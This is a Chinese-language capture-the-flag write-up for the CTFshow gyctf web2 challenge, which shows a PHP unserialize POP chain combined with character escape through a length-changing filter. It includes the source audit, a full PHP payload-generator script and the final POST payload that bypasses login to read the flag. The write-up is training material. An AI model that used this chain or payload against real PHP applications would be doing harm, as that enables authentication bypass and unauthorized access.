1. 程式人生 > 其它 >CTFSHOW-日刷-game-gyctf web2/pop鏈-反序列字元逃逸

CTFSHOW-日刷-game-gyctf web2/pop鏈-反序列字元逃逸

嘗試注入,發現沒啥效果。嘗試掃描後臺

發現存在www.zip的網站備份,下載開啟,進行php程式碼審計

一共4個PHP檔案,其中index.php有一個當前目錄的檔案包含,因此可以繞過登入直接檢視update.php

/index.php?action=update

但是會檢查session因此沒法看到flag

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>這是一個未完成的頁面,上線時建議刪除本頁面</h2>
</html>'
; if ($_SESSION['login']!=1){ echo "你還沒有登陸呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; } ?>

可以看到要session[login]=1 ,才能獲得flag,轉到lib.php

        if ($this->token=='admin') {
            return $idResult;
        }
        
if (!$idResult) { echo('使用者不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密碼錯誤!'); return false; } $_SESSION['token']=$this->name; return $idResult; }

從login函式分析可知,要想能成功返回(也就是登入成功),有兩種方法,一就是token=admin,二是滿足passwd的md5值等於資料庫中的儲存值

但是token是在方法二滿足後才賦值的,所以還是要用方法二

注意到login函式接收一個引數$sql,這個是執行的sql語句,預設是 “select id,password from user where username=?”,我們可以想辦法讓它等於 “select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?”

這樣sql返回的passwd就是1的MD5值,同時我們讓post的passwd等於1,不就滿足條件二嗎,而且條件二滿足後,就會讓session裡的token=admin,再次登入就不會檢查密碼了。

下一步就是想辦法傳入這個引數並且執行login函式

觀察可得update頁面會呼叫user類的update()方法

...
$users=new User(); $users->update();
...

轉到user類的該方法

public function update(){
        $Info=unserialize($this->getNewinfo());
...
}

發現呼叫getinfo方法,轉進

   public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

分析可知這裡接收兩個引數age和nickname,然後以這兩個為引數值構造一個info類,過濾後再進行序列化

轉到info類

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

可以發現__call函式,當呼叫info類中一個不存在的類時就會執行改魔術方法,執行輸出當前類中的ctrlcase的login函式,並且將引數傳遞進去

這樣我們就能夠呼叫login函數了,同時$sql引數也有我們指定

但是在哪呼叫info類中的不存在函式,這裡主要看user類的一個tosring方法

  public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

發現這裡會呼叫nickname中的update函式,age作為引數,如果我們讓nickname為info類,age等於我們想執行的語句,不就行了嗎。

下一步時尋找在哪才能呼叫這個tostring方法,最後再UpdateHelper類中

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->$sql;
    }
}

這裡可以看到echo了當前類中的$sql變數,我們讓$sql等於user類即可

這裡給出反序列構造方法:

<?php
class dbCtrl
{
public $name="admin";
public $password="1";
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
public $nickname;
}
Class UpdateHelper{
public $sql;
}
$db=new dbCtrl();

$in=new Info();
$in->CtrlCase=$db;

$user=new User();
$user->nickname=$in;

$update=new UpdateHelper();
$update->sql=$user;

echo serialize($update);

但是如何傳入這個序列化資料進行反序列化呢?由上面分析可知,原始碼中會反序列化一個info類,但是那個info類我們只能傳入兩個引數,然後它兩個引數來構造類並且反序列化。這裡其實可以繞過,方法是利用反序列化字串字元逃逸漏洞

我們讓info三個引數(除了傳入的兩個引數,還有一個ctrlcase引數),其中一個為我們想要的序列化類即可(類中類也會一起序列化,反序列化會一起反序列化)。這裡用字元逃逸漏洞,

注意

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

可以看到有字元替換,且長度不同,也就意味著字元逃逸,這裡不詳細說明了

給出最終指令碼

<?php
class dbCtrl
{
    public $name="admin";
    public $password="1";
}
class Info{
        public $age;
    public $nickname;
    public $CtrlCase;
}
class User
{
    public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
    public $nickname;
}
Class UpdateHelper{
    public $sql;
}
$db=new dbCtrl();

$in=new Info();
$in->CtrlCase=$db;

$user=new User();
$user->nickname=$in;

$update=new UpdateHelper();
$update->sql=$user;

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

$k=new Info();
$k->age=18;
$m=str_repeat("into",146);
$k->nickname=$m."\";s:8:\"CtrlCase\";".serialize($update).'}';
echo($k->nickname);
?>

payload:

age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

稍微解釋下,

";s:8:"CtrlCase";serialize($update)}

雙引號和前面提前閉合(長度替換後),後面加上ctrlcase引數,並且內容是我們想反序列化的類,最後加上一個}來提前結尾

最後再用admin 隨便啥密碼登入一下